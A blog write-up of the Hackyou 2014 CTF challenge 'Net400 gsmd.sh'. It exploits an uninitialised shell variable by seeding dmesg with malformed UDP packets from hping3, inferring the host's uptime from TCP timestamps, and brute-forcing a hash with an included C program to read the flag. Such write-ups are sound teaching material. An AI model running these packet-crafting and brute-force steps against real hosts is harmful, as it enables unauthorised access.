code hacking, zen coding

Hackyou 2014 – Net400 – gsmd.sh Write-up

Welcome to Microsoft Security Assessment Lab.
As far as we are concerned, you are once again applying for an information security job at our vacancy.
Our policy has changed. We’re not making our products secure anymore — we’re now providing bugs to NSA.
They have run out of their CYCLONE Hx9’s GSM station emulators and had to switch to using real base stations for now.

As your test assignment, you are to take over the base station at
77.220.186.142:40000

Debug console: gsmd.sh

This challenge gives us a broken basestation firmware. We need to retrieve the file /home/flag.txt. The broken shell script has a vulnerability like this:

    echo -n "Auth token > "
    read token
    if [ "`gsmd_auth_check $token`" == 'AUTHED' ]; then
      ok=1
    fi

    filename=/home/flag.txt
   
    echo "Attempting to read arbitrary file"
    echo === $filename ===
   
    if [ $ok == 1 ]; then
      cat "$filename"
    fi

The check relies on a global “ok” variable and this variable is not initialized before starting the authentication check. If we can set it to ok=1 somewhere else in the script, we will get the flag.

Somewhere in the script is actually here:

      RND=$(dmesg | tail -100 | egrep -i '[^a-f0-9].[^\s\S]f' | egrep -B4 '\b[A-Z][^A-C][A-Z].\s\w' | rev | grep musk | rev | egrep -A7 $'\x3A\x20\x2E\x2E\x2E\x20' | egrep -w `echo -n GPRS | md5sum | head -c3` | tail -1)

      if [ "$RND" == '' ]; then
        echo "Nothing random happened in a while :-("
        exit -1
      fi
     
      challenge=`echo "$RND" | sha1sum`
      echo Challenge: $challenge
     
      echo -n "Response > "
      read response
     
      if [ "$response" == "`echo "$RND" | sha512sum`" ]; then
        ok=1
      fi

Basically, this function will search for “bad checksum” message in dmesg, take the last one and compute the sha1 of the string. To authenticate we need to send the sha512 of the same string.

Here is a sample dmesg entry that would qualify:

[6547042.852817] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8

We can generate them with the hping tools easily:

$ sudo hping3 77.220.186.142 -c 10 -2 -s 1337 -p 40000 -k -b

We notice this line begin with the host uptime in the [seconds.nanoseconds] format. So we need to send a few broken UDP packets to the host to fill some lines in dmesg and then we need to guess the host’s uptime. Using the host uptime, we can construct a string that will be exactly like the one in dmesg and compute the sha512.

This is a Network challenge so we will use TCP Timestamps to guess the host’s uptime.

Hping to the rescue, we send 2 TCP packets 10 seconds apart with the TCP timestamps option set:

$ sudo hping3 --tcp-timestamp -S 77.220.186.142 -p 40000 -c 1; sleep 10; sudo hping3 --tcp-timestamp -S 77.220.186.142 -p 40000 -c 1
HPING 77.220.186.142 (eth0 77.220.186.142): S set, 40 headers + 0 data bytes
len=56 ip=77.220.186.142 ttl=56 DF id=0 sport=40000 flags=SA seq=0 win=14480 rtt=52.7 ms
  TCP timestamp: tcpts=1636688922

--- 77.220.186.142 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 52.7/52.7/52.7 ms
HPING 77.220.186.142 (eth0 77.220.186.142): S set, 40 headers + 0 data bytes
len=56 ip=77.220.186.142 ttl=56 DF id=0 sport=40000 flags=SA seq=0 win=14480 rtt=52.7 ms
  TCP timestamp: tcpts=1636691457

--- 77.220.186.142 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 52.7/52.7/52.7 ms

We compute the timer frequency and the uptime in seconds:

$ python
>>> 1636691457 - 1636688922
2535
>>> 2535/10
253
>>> 1636691457/250
6546765

The kernel is running a timer at 250Hz for tcp timestamps and we know the approximate uptime is 6546765 seconds.

We can now brute-force until we find a string that match exactly the SHA1 given by the challenge host using a custom C program:

#include <sys/types.h>
#include <sys/uio.h>
#include <openssl/sha.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <math.h>

#define SHA1_DIGEST_LENGTH 20
#define LOG "[%i.%0.6i] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8\n"

char *byte_to_hex(unsigned char *buffer)
{
  static char hex[SHA1_DIGEST_LENGTH * 2];
  int c;

  for(c=0 ; c < SHA1_DIGEST_LENGTH ; c++)
    sprintf(hex + c*2, "%.2x", buffer[c]);

  return hex;
}

void hex_to_byte(unsigned char *buffer, unsigned char *digest)
{
  int c;
  unsigned char number[3];

  for(c=0 ; c < (SHA1_DIGEST_LENGTH << 1) ; c += 2)
  {
    memcpy(number, buffer + c, 2);
    number[2] = 0;
    sscanf(number, "%x", &digest[c >> 1]);
  }
}

int main(int argc, char *argv[])
{
  FILE *f;

  unsigned int ts,hz;
  unsigned int uptime;
  int step = 1;
  unsigned int i;
  static unsigned char log[128];
  static unsigned int log_len;
  static unsigned char nano[1000000 * 8];

  static unsigned char guess_digest[SHA1_DIGEST_LENGTH];
  static unsigned char target_digest[SHA1_DIGEST_LENGTH];

  if (argc < 3) {
    printf("Missing arguments: %s <raw TS val> <frequency> <target SHA1 hash>\n", argv[0]);
    exit(1);
  }

  ts = atoi(argv[1]);
  hz = atoi(argv[2]);

  if (!ts || !hz) {
    printf("Invalid timestamp or frequency\n");
    exit(1);
  }

  uptime = ts / hz - 10 * 60;

  if (strlen(argv[3]) != 40) {
    printf("Invalid target hash\n");
    exit(1);
  }

  hex_to_byte(argv[3], target_digest);
 
  printf("Start uptime=%i (hz=%i)\n", uptime, hz);
  printf("Target hash=");
  printf(byte_to_hex(target_digest));
  printf("\n");

  printf("Precalculate nanoseconds decimal representation...\n");

  for(i = 0 ; i < pow(10, 6) ; i++) {
    snprintf((char*)nano + i * 8, 7, "%0.6i", i);
  }

  printf("Bruteforcing...\n");
  while (1) {
  sprintf(log, LOG, uptime, 999999);
  log_len = strlen(log);
  for(i = 0 ; i < pow(10, 6) ; i++)
  {
     memcpy((char*)log + 9, (char*)nano + i*8, 6);
     SHA1(log, log_len, guess_digest);
     //printf("%s %s\n", log, byte_to_hex(guess_digest)); exit(0);

     if (guess_digest[0] == target_digest[0]) {
       if (memcmp(guess_digest, target_digest, SHA1_DIGEST_LENGTH) == 0)
       {
          printf("WIN %i %i %s", uptime, i, log);
          exit(0);
       }
     }
  }
  uptime+=step;
  printf("progress=%s", log);
  }

  return 0;
}

Compile and run it:

$ gcc -O3 -o bf200-fast bf200-fast.c -lcrypto
$ ./bf200-fast 1636691457 250 02b73dccde50be2c0c1639b0db4879cc86826485
Start uptime=6546165 (hz=250)
Target hash=02b73dccde50be2c0c1639b0db4879cc86826485
Precalculate nanoseconds decimal representation...
Bruteforcing...
progress=[6546165.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6546166.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6546167.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6546168.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6546169.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8...
...
progress=[6547041.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6547042.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6547043.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6547044.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6547045.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6547046.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6547047.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
WIN 6547048 854470 [6547048.854470] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8

Yeah! We found a solution, now compute the challenge response: the string in SHA512. Notice the script is so broken it’s use the full sha512sum binary output, including the dash at the end of line and the carriage return.

$ echo "[6547048.854470] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8" | sha512sum
25adb71ebdc140629f3c095fc57c1afc00198deca5f1fd4a8d3022121ff3713c92683000c1f0cce4b090c1c54fae5fd5f9e900ac85ff3c014a98f8ce5683a301  -

Pwn time:

Platform debug
[1] cpu
[2] memory
[3] pci devices
[4] kernel log
[5] os version
[6] os uptime
[7] disk subsystem
[8] time settings
[9] /etc/shadow
Platform > 4
To access sensitive kernel debug info you need access to dmesg
Taking some randomness...
Challenge: 02b73dccde50be2c0c1639b0db4879cc86826485 -
Response > 25adb71ebdc140629f3c095fc57c1afc00198deca5f1fd4a8d3022121ff3713c92683000c1f0cce4b090c1c54fae5fd5f9e900ac85ff3c014a98f8ce5683a301  -
Attempting to provide kernel debug messages
=== dmesg ===
[6547042.852817] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
[6547043.853252] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
[6547044.853694] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
[6547045.853138] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
[6547046.853582] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
[6547047.854031] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
[6547048.854470] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
[6549553.153623] UDP: bad checksum. From 46.9.163.51:12345 to 77.220.186.142:12345 ulen 8
[6550413.365523] UDP: bad checksum. From 173.70.38.82:40000 to 77.220.186.142:40000 ulen 17
MENU
[1] base station filesystem access
[2] base station network statistics
[3] base station platform debug
[0] exit
> 1
Read arbitrary file > /home/flag.txt
Auth token >
./gsmd.sh: line 25: gsmd_auth_check: command not found
Attempting to read arbitrary file
=== /home/flag.txt ===
CTF{ea0ab151a617cb0df62353a60d15679a}
Share